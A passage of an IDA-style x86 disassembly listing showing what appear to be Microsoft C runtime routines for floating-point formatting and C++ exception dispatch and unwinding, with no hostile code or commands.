		jl	short loc_421BA1


loc_421B9F:				; CODE XREF: sub_421ADD+BAj
		mov	ebx, esi


loc_421BA1:				; CODE XREF: sub_421ADD+C0j
		push	ebx
		push	edi
		call	sub_421CF1
		push	ebx
		push	30h
		push	edi
		call	sub_41B590
		add	esp, 14h


loc_421BB4:				; CODE XREF: sub_421ADD+94j
					; sub_421ADD+ADj
		pop	edi
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_421ADD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421BBB	proc near		; CODE XREF: sub_421CA0+34p

var_14		= qword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		push	ecx
		push	ecx
		fld	qword ptr [edi]
		fstp	[esp+14h+var_14]
		call	sub_4245E9
		mov	dword_4DB30C, eax
		mov	ecx, [eax+4]
		dec	ecx
		mov	ebx, [ebp+arg_8]
		mov	dword_4DB314, ecx
		xor	ecx, ecx
		cmp	dword ptr [eax], 2Dh
		push	eax
		push	ebx
		setz	cl
		add	ecx, [ebp+arg_4]
		mov	esi, ecx
		push	esi
		call	sub_424572
		mov	eax, dword_4DB30C
		add	esp, 14h
		mov	ecx, [eax+4]
		dec	ecx
		cmp	dword_4DB314, ecx
		setl	cl
		mov	byte_4DB318, cl
		mov	eax, [eax+4]
		dec	eax
		cmp	eax, 0FFFFFFFCh
		mov	dword_4DB314, eax
		jl	short loc_421C41
		cmp	eax, ebx
		jge	short loc_421C41
		test	cl, cl
		jz	short loc_421C32


loc_421C28:				; CODE XREF: sub_421BBB+72j
		mov	al, [esi]
		inc	esi
		test	al, al
		jnz	short loc_421C28
		and	[esi-2], al


loc_421C32:				; CODE XREF: sub_421BBB+6Bj
		push	ebx
		push	[ebp+arg_4]
		push	edi
		call	sub_421C7D
		add	esp, 0Ch
		jmp	short loc_421C51
; ---------------------------------------------------------------------------


loc_421C41:				; CODE XREF: sub_421BBB+63j
					; sub_421BBB+67j
		push	[ebp+arg_C]
		push	ebx
		push	[ebp+arg_4]
		push	edi
		call	sub_421C56
		add	esp, 10h


loc_421C51:				; CODE XREF: sub_421BBB+84j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_421BBB	endp


; =============== S U B	R O U T	I N E =======================================



sub_421C56	proc near		; CODE XREF: sub_421BBB+8Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	[esp+arg_C]
		mov	byte_4DB310, 1
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_4219D9
		and	byte_4DB310, 0
		add	esp, 10h
		retn
sub_421C56	endp


; =============== S U B	R O U T	I N E =======================================



sub_421C7D	proc near		; CODE XREF: sub_421BBB+7Cp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	[esp+arg_8]
		mov	byte_4DB310, 1
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_421ADD
		and	byte_4DB310, 0
		add	esp, 0Ch
		retn
sub_421C7D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421CA0	proc near		; CODE XREF: sub_41F69F+3AAp
					; DATA XREF: sub_41C760o ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_8], 65h
		jz	short loc_421CDB
		cmp	[ebp+arg_8], 45h
		jz	short loc_421CDB
		cmp	[ebp+arg_8], 66h
		jnz	short loc_421CC8
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_421ADD
		add	esp, 0Ch
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_421CC8:				; CODE XREF: sub_421CA0+13j
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_421BBB
		jmp	short loc_421CEC
; ---------------------------------------------------------------------------


loc_421CDB:				; CODE XREF: sub_421CA0+7j
					; sub_421CA0+Dj
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4219D9


loc_421CEC:				; CODE XREF: sub_421CA0+39j
		add	esp, 10h
		pop	ebp
		retn
sub_421CA0	endp


; =============== S U B	R O U T	I N E =======================================



sub_421CF1	proc near		; CODE XREF: sub_4219D9+2Cp
					; sub_421ADD+83p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	edi
		mov	edi, [esp+4+arg_4]
		test	edi, edi
		jz	short loc_421D14
		push	esi
		mov	esi, [esp+8+arg_0]
		push	esi
		call	sub_41AFE0
		inc	eax
		push	eax
		push	esi
		add	esi, edi
		push	esi
		call	sub_41CC90
		add	esp, 10h
		pop	esi


loc_421D14:				; CODE XREF: sub_421CF1+7j
		pop	edi
		retn
sub_421CF1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421D16	proc near		; CODE XREF: ___:0041C940p
					; sub_41C9A9+1Bp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_10]
		push	edi
		mov	edi, 19930520h
		cmp	[esi], edi
		jz	short loc_421D2C
		call	sub_4225B2


loc_421D2C:				; CODE XREF: sub_421D16+Fj
		mov	eax, [ebp+arg_0]
		test	byte ptr [eax+4], 66h
		jz	short loc_421D54
		cmp	dword ptr [esi+4], 0
		jz	short loc_421DAA
		cmp	[ebp+arg_14], 0
		jnz	short loc_421DAA
		push	0FFFFFFFFh
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		call	sub_42205D
		add	esp, 10h
		jmp	short loc_421DAA
; ---------------------------------------------------------------------------


loc_421D54:				; CODE XREF: sub_421D16+1Dj
		cmp	dword ptr [esi+0Ch], 0
		jz	short loc_421DAA
		cmp	dword ptr [eax], 0E06D7363h
		jnz	short loc_421D8E
		cmp	[eax+14h], edi
		jbe	short loc_421D8E
		mov	ecx, [eax+1Ch]
		mov	ecx, [ecx+8]
		test	ecx, ecx
		jz	short loc_421D8E
		movzx	edx, byte ptr [ebp+arg_1C]
		push	edx
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	eax
		call	ecx
		add	esp, 20h
		jmp	short loc_421DAD
; ---------------------------------------------------------------------------


loc_421D8E:				; CODE XREF: sub_421D16+4Aj
					; sub_421D16+4Fj ...
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	[ebp+arg_1C]
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	eax
		call	sub_421DB1
		add	esp, 20h


loc_421DAA:				; CODE XREF: sub_421D16+23j
					; sub_421D16+29j ...
		push	1
		pop	eax


loc_421DAD:				; CODE XREF: sub_421D16+76j
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_421D16	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421DB1	proc near		; CODE XREF: sub_421D16+8Cp

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= byte ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, [ebp+arg_4]
		and	byte ptr [ebp+var_14], 0
		mov	eax, [eax+8]
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_10], eax
		jl	short loc_421DD1
		mov	ecx, [ebp+arg_10]
		cmp	eax, [ecx+4]
		jl	short loc_421DD6


loc_421DD1:				; CODE XREF: sub_421DB1+16j
		call	sub_4225B2


loc_421DD6:				; CODE XREF: sub_421DB1+1Ej
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		mov	ebx, 0E06D7363h
		push	edi
		mov	edi, 19930520h
		cmp	[esi], ebx
		jnz	loc_421F2D
		cmp	dword ptr [esi+10h], 3
		jnz	short loc_421E4A
		cmp	[esi+14h], edi
		jnz	short loc_421E4A
		cmp	dword ptr [esi+1Ch], 0
		jnz	short loc_421E4A
		mov	esi, dword_4DB31C
		test	esi, esi
		jz	loc_421F28
		mov	eax, dword_4DB320
		push	1
		push	esi
		mov	[ebp+arg_8], eax
		mov	byte ptr [ebp+var_14], 1
		call	sub_424770
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_421E2C
		call	sub_4225B2


loc_421E2C:				; CODE XREF: sub_421DB1+74j
		cmp	[esi], ebx
		jnz	loc_421F2D
		cmp	dword ptr [esi+10h], 3
		jnz	short loc_421E4A
		cmp	[esi+14h], edi
		jnz	short loc_421E4A
		cmp	dword ptr [esi+1Ch], 0
		jnz	short loc_421E4A
		call	sub_4225B2


loc_421E4A:				; CODE XREF: sub_421DB1+41j
					; sub_421DB1+46j ...
		cmp	[esi], ebx
		jnz	loc_421F2D
		cmp	dword ptr [esi+10h], 3
		jnz	loc_421F2D
		cmp	[esi+14h], edi
		jnz	loc_421F2D
		mov	edi, [ebp+var_10]
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	edi
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		call	sub_41CAF7
		add	esp, 14h
		mov	ebx, eax


loc_421E81:				; CODE XREF: sub_421DB1+162j
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_18]
		jnb	loc_421F18
		cmp	[ebx], edi
		jg	short loc_421F0D
		cmp	edi, [ebx+4]
		jg	short loc_421F0D
		mov	eax, [ebx+10h]
		mov	[ebp+arg_0], eax
		mov	eax, [ebx+0Ch]
		test	eax, eax
		mov	[ebp+var_C], eax
		jle	short loc_421F0A


loc_421EA6:				; CODE XREF: sub_421DB1+131j
		mov	eax, [esi+1Ch]
		mov	eax, [eax+0Ch]
		lea	edi, [eax+4]
		mov	eax, [eax]
		test	eax, eax
		mov	[ebp+var_8], eax
		jle	short loc_421ED7


loc_421EB8:				; CODE XREF: sub_421DB1+124j
		push	dword ptr [esi+1Ch]
		push	dword ptr [edi]
		push	[ebp+arg_0]
		call	sub_422000
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_421EE6
		dec	[ebp+var_8]
		add	edi, 4
		cmp	[ebp+var_8], eax
		jg	short loc_421EB8


loc_421ED7:				; CODE XREF: sub_421DB1+105j
		dec	[ebp+var_C]
		add	[ebp+arg_0], 10h
		cmp	[ebp+var_C], 0
		jg	short loc_421EA6
		jmp	short loc_421F0A
; ---------------------------------------------------------------------------


loc_421EE6:				; CODE XREF: sub_421DB1+119j
		push	[ebp+var_14]
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	ebx
		push	dword ptr [edi]
		push	[ebp+arg_0]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	sub_422111
; ---------------------------------------------------------------------------
		add	esp, 2Ch


loc_421F0A:				; CODE XREF: sub_421DB1+F3j
					; sub_421DB1+133j
		mov	edi, [ebp+var_10]


loc_421F0D:				; CODE XREF: sub_421DB1+DEj
					; sub_421DB1+E3j
		inc	[ebp+var_4]
		add	ebx, 14h
		jmp	loc_421E81
; ---------------------------------------------------------------------------


loc_421F18:				; CODE XREF: sub_421DB1+D6j
		cmp	[ebp+arg_14], 0
		jz	short loc_421F28
		push	1
		push	esi
		call	sub_422486
		pop	ecx
		pop	ecx


loc_421F28:				; CODE XREF: sub_421DB1+56j
					; sub_421DB1+16Bj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_421F2D:				; CODE XREF: sub_421DB1+37j
					; sub_421DB1+7Dj ...
		cmp	[ebp+arg_14], 0
		jnz	short loc_421F53
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	[ebp+var_10]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	sub_421F58
		add	esp, 20h
		jmp	short loc_421F28
; ---------------------------------------------------------------------------


loc_421F53:				; CODE XREF: sub_421DB1+180j
		jmp	sub_42255C
sub_421DB1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421F58	proc near		; CODE XREF: sub_421DB1+198p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	dword_4DB324, 0
		push	esi
		push	edi
		jz	short loc_421F89
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41C9CE
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_421FFC


loc_421F89:				; CODE XREF: sub_421F58+Ej
		mov	edi, [ebp+arg_14]
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	edi
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		call	sub_41CAF7
		add	esp, 14h
		mov	esi, eax


loc_421FA5:				; CODE XREF: sub_421F58+A2j
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_8]
		jnb	short loc_421FFC
		cmp	edi, [esi]
		jl	short loc_421FF4
		cmp	edi, [esi+4]
		jg	short loc_421FF4
		mov	eax, [esi+0Ch]
		mov	ecx, [esi+10h]
		shl	eax, 4
		add	eax, ecx
		mov	ecx, [eax-0Ch]
		test	ecx, ecx
		jz	short loc_421FCE
		cmp	byte ptr [ecx+8], 0
		jnz	short loc_421FF4


loc_421FCE:				; CODE XREF: sub_421F58+6Ej
		push	1
		add	eax, 0FFFFFFF0h
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	esi
		push	0
		push	eax
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_422111
; ---------------------------------------------------------------------------
		add	esp, 2Ch


loc_421FF4:				; CODE XREF: sub_421F58+57j
					; sub_421F58+5Cj ...
		inc	[ebp+var_4]
		add	esi, 14h
		jmp	short loc_421FA5
; ---------------------------------------------------------------------------


loc_421FFC:				; CODE XREF: sub_421F58+2Fj
					; sub_421F58+53j
		pop	edi
		pop	esi
		leave
		retn
sub_421F58	endp


; =============== S U B	R O U T	I N E =======================================



sub_422000	proc near		; CODE XREF: sub_421DB1+10Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	eax, [edi+4]
		test	eax, eax
		jz	short loc_422057
		cmp	byte ptr [eax+8], 0
		lea	edx, [eax+8]
		jz	short loc_422057
		mov	esi, [esp+8+arg_4]
		mov	ecx, [esi+4]
		cmp	eax, ecx
		jz	short loc_422031
		add	ecx, 8
		push	ecx
		push	edx
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_422053


loc_422031:				; CODE XREF: sub_422000+1Fj
		test	byte ptr [esi],	2
		jz	short loc_42203B
		test	byte ptr [edi],	8
		jz	short loc_422053


loc_42203B:				; CODE XREF: sub_422000+34j
		mov	eax, [esp+8+arg_8]
		mov	eax, [eax]
		test	al, 1
		jz	short loc_42204A
		test	byte ptr [edi],	1
		jz	short loc_422053


loc_42204A:				; CODE XREF: sub_422000+43j
		test	al, 2
		jz	short loc_422057
		test	byte ptr [edi],	2
		jnz	short loc_422057


loc_422053:				; CODE XREF: sub_422000+2Fj
					; sub_422000+39j ...
		xor	eax, eax
		jmp	short loc_42205A
; ---------------------------------------------------------------------------


loc_422057:				; CODE XREF: sub_422000+Bj
					; sub_422000+14j ...
		push	1
		pop	eax


loc_42205A:				; CODE XREF: sub_422000+55j
		pop	edi
		pop	esi
		retn
sub_422000	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42205D	proc near		; CODE XREF: sub_421D16+34p
					; ___:00422153p

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4278C8
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebx+8]
		mov	[ebp+var_1C], esi
		mov	edi, [ebp+arg_8]


loc_42208F:				; CODE XREF: sub_42205D+8Aj
		cmp	esi, [ebp+arg_C]
		jz	short loc_4220E9
		cmp	esi, 0FFFFFFFFh
		jle	short loc_42209E
		cmp	esi, [edi+4]
		jl	short loc_4220A3


loc_42209E:				; CODE XREF: sub_42205D+3Aj
		call	sub_4225B2


loc_4220A3:				; CODE XREF: sub_42205D+3Fj
		and	[ebp+var_4], 0
		mov	eax, [edi+8]
		mov	eax, [eax+esi*8+4]
		test	eax, eax
		jz	short loc_4220BE
		push	103h
		push	ebx
		push	eax
		call	sub_422510


loc_4220BE:				; CODE XREF: sub_42205D+53j
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_4220DE
; ---------------------------------------------------------------------------
		push	[ebp+var_14]
		call	sub_4220FB
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		or	[ebp+var_4], 0FFFFFFFFh
		mov	edi, [ebp+arg_8]
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebp+var_1C]


loc_4220DE:				; CODE XREF: sub_42205D+65j
		mov	eax, [edi+8]
		mov	esi, [eax+esi*8]
		mov	[ebp+var_1C], esi
		jmp	short loc_42208F
; ---------------------------------------------------------------------------


loc_4220E9:				; CODE XREF: sub_42205D+35j
		mov	[ebx+8], esi
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_42205D	endp


; =============== S U B	R O U T	I N E =======================================



sub_4220FB	proc near		; CODE XREF: sub_42205D+6Ap

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	eax, [eax]
		cmp	dword ptr [eax], 0E06D7363h
		jz	short loc_42210C
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_42210C:				; CODE XREF: sub_4220FB+Cj
		jmp	sub_42255C
sub_4220FB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_422111	proc near		; CODE XREF: sub_421DB1+151p
					; sub_421F58+94p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_24		= dword	ptr  2Ch

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_18], 0
		push	ebx
		mov	ebx, [ebp+arg_14]
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		jz	short loc_422133
		push	[ebp+arg_18]
		push	ebx
		push	edi
		push	[ebp+arg_0]
		call	sub_4222C2
		add	esp, 10h


loc_422133:				; CODE XREF: sub_422111+10j
		cmp	[ebp+arg_24], 0
		push	[ebp+arg_0]
		jnz	short loc_42213F
		push	edi
		jmp	short loc_422142
; ---------------------------------------------------------------------------


loc_42213F:				; CODE XREF: sub_422111+29j
		push	[ebp+arg_24]


loc_422142:				; CODE XREF: sub_422111+2Cj
		call	sub_41C8D0
sub_422111	endp

; ---------------------------------------------------------------------------
		mov	esi, [ebp+24h]
		push	dword ptr [esi]
		push	dword ptr [ebp+18h]
		push	dword ptr [ebp+14h]
		push	edi
		call	sub_42205D
		mov	eax, [esi+4]
		push	100h
		push	dword ptr [ebp+28h]
		inc	eax
		mov	[edi+8], eax
		push	dword ptr [ebx+0Ch]
		push	dword ptr [ebp+18h]
		push	dword ptr [ebp+10h]
		push	edi
		push	dword ptr [ebp+8]
		call	sub_42218C
		add	esp, 2Ch
		test	eax, eax
		jz	short loc_422187
		push	edi
		push	eax
		call	sub_41C88E


loc_422187:				; CODE XREF: ___:0042217Ej
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42218C	proc near		; CODE XREF: ___:00422174p

var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4278D8
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, [ebp+arg_10]
		mov	[ebp+var_2C], eax
		xor	ebx, ebx
		mov	[ebp+var_24], ebx
		mov	esi, [ebp+arg_4]
		mov	ecx, [esi-4]
		mov	[ebp+var_28], ecx
		mov	ecx, dword_4DB31C
		mov	[ebp+var_1C], ecx
		mov	ecx, dword_4DB320
		mov	[ebp+var_20], ecx
		mov	edi, [ebp+arg_0]
		mov	dword_4DB31C, edi
		mov	ecx, [ebp+arg_8]
		mov	dword_4DB320, ecx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_4], 1
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	eax
		push	[ebp+arg_C]
		push	esi
		call	sub_41C955
		add	esp, 14h
		mov	[ebp+var_2C], eax
		mov	[ebp+var_4], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		call	sub_422252
		mov	eax, [ebp+var_2C]


loc_422219:				; CODE XREF: sub_422232+16j
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_42218C	endp


; =============== S U B	R O U T	I N E =======================================



sub_422228	proc near		; DATA XREF: ___:004278E8o
		push	dword ptr [ebp-14h]
		call	sub_422298
		pop	ecx
		retn
sub_422228	endp


; =============== S U B	R O U T	I N E =======================================



sub_422232	proc near		; DATA XREF: ___:004278ECo
		mov	esp, [ebp-18h]
		and	dword ptr [ebp-2Ch], 0
		push	0FFFFFFFFh
		lea	eax, [ebp-10h]
		push	eax
		call	sub_41CBB6
		pop	ecx
		pop	ecx
		xor	eax, eax
		jmp	short loc_422219
sub_422232	endp

; ---------------------------------------------------------------------------


loc_42224A:				; DATA XREF: ___:004278E0o
		xor	ebx, ebx
		mov	esi, [ebp+0Ch]
		mov	edi, [ebp+8]

; =============== S U B	R O U T	I N E =======================================



sub_422252	proc near		; CODE XREF: sub_42218C+85p
		mov	eax, [ebp-28h]
		mov	[esi-4], eax
		mov	eax, [ebp-1Ch]
		mov	dword_4DB31C, eax
		mov	eax, [ebp-20h]
		mov	dword_4DB320, eax
		cmp	dword ptr [edi], 0E06D7363h
		jnz	short locret_422297
		cmp	dword ptr [edi+10h], 3
		jnz	short locret_422297
		cmp	dword ptr [edi+14h], 19930520h
		jnz	short locret_422297
		cmp	[ebp-24h], ebx
		jnz	short locret_422297
		cmp	[ebp-2Ch], ebx
		jz	short locret_422297
		call	sub_41CC1E
		push	eax
		push	edi
		call	sub_422486
		pop	ecx
		pop	ecx

locret_422297:				; CODE XREF: sub_422252+1Cj
					; sub_422252+22j ...
		retn
sub_422252	endp


; =============== S U B	R O U T	I N E =======================================



sub_422298	proc near		; CODE XREF: sub_422228+3p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	eax, [eax]
		cmp	dword ptr [eax], 0E06D7363h
		jnz	short loc_4222BF
		cmp	dword ptr [eax+10h], 3
		jnz	short loc_4222BF
		cmp	dword ptr [eax+14h], 19930520h
		jnz	short loc_4222BF
		cmp	dword ptr [eax+1Ch], 0
		jnz	short loc_4222BF
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_4222BF:				; CODE XREF: sub_422298+Cj
					; sub_422298+12j ...
		xor	eax, eax
		retn
sub_422298	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4222C2	proc near		; CODE XREF: sub_422111+1Ap

var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4278F0
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	ecx, [ebp+arg_8]
		mov	eax, [ecx+4]
		test	eax, eax
		jz	loc_42246B
		cmp	byte ptr [eax+8], 0
		jz	loc_42246B
		mov	eax, [ecx+8]
		test	eax, eax
		jz	loc_42246B
		mov	edx, [ebp+arg_4]
		lea	edi, [eax+edx+0Ch]
		and	[ebp+var_4], 0
		test	byte ptr [ecx],	8
		jz	short loc_42235F
		mov	esi, [ebp+arg_0]
		push	1
		push	dword ptr [esi+18h]
		call	sub_424770
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_422462
		push	1
		push	edi
		call	sub_42478C
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_422462
		mov	eax, [esi+18h]
		mov	[edi], eax
		mov	ecx, [ebp+arg_C]
		add	ecx, 8
		push	ecx


loc_422350:				; CODE XREF: sub_4222C2+F5j
		push	eax
		call	sub_4224ED
		pop	ecx
		pop	ecx
		mov	[edi], eax
		jmp	loc_422467
; ---------------------------------------------------------------------------


loc_42235F:				; CODE XREF: sub_4222C2+57j
		mov	esi, [ebp+arg_C]
		test	byte ptr [esi],	1
		jz	short loc_4223B9
		mov	ebx, [ebp+arg_0]
		push	1
		push	dword ptr [ebx+18h]
		call	sub_424770
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_422462
		push	1
		push	edi
		call	sub_42478C
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_422462
		push	dword ptr [esi+14h]
		push	dword ptr [ebx+18h]
		push	edi
		call	sub_41CC90
		add	esp, 0Ch
		cmp	dword ptr [esi+14h], 4
		jnz	loc_422467
		mov	eax, [edi]
		test	eax, eax
		jz	loc_422467
		add	esi, 8
		push	esi
		jmp	short loc_422350
; ---------------------------------------------------------------------------


loc_4223B9:				; CODE XREF: sub_4222C2+A3j
		cmp	dword ptr [esi+18h], 0
		mov	ebx, [ebp+arg_0]
		push	1
		push	dword ptr [ebx+18h]
		jnz	short loc_422401
		call	sub_424770
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_422462
		push	1
		push	edi
		call	sub_42478C
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_422462
		push	dword ptr [esi+14h]
		add	esi, 8
		push	esi
		push	dword ptr [ebx+18h]
		call	sub_4224ED
		pop	ecx
		pop	ecx
		push	eax
		push	edi
		call	sub_41CC90
		add	esp, 0Ch
		jmp	short loc_422467
; ---------------------------------------------------------------------------


loc_422401:				; CODE XREF: sub_4222C2+103j
		call	sub_424770
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_422462
		push	1
		push	edi
		call	sub_42478C
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_422462
		push	dword ptr [esi+18h]
		call	sub_4247A8
		pop	ecx
		test	eax, eax
		jz	short loc_422462
		test	byte ptr [esi],	4
		jz	short loc_422448
		push	1
		lea	eax, [esi+8]
		push	eax
		push	dword ptr [ebx+18h]
		call	sub_4224ED
		pop	ecx
		pop	ecx
		push	eax
		push	dword ptr [esi+18h]
		push	edi
		call	sub_41C8C9
		jmp	short loc_422467
; ---------------------------------------------------------------------------


loc_422448:				; CODE XREF: sub_4222C2+168j
		lea	eax, [esi+8]
		push	eax
		push	dword ptr [ebx+18h]
		call	sub_4224ED
		pop	ecx
		pop	ecx
		push	eax
		push	dword ptr [esi+18h]
		push	edi
		call	sub_41C8C2
		jmp	short loc_422467
; ---------------------------------------------------------------------------


loc_422462:				; CODE XREF: sub_4222C2+6Aj
					; sub_4222C2+7Cj ...
		call	sub_4225B2


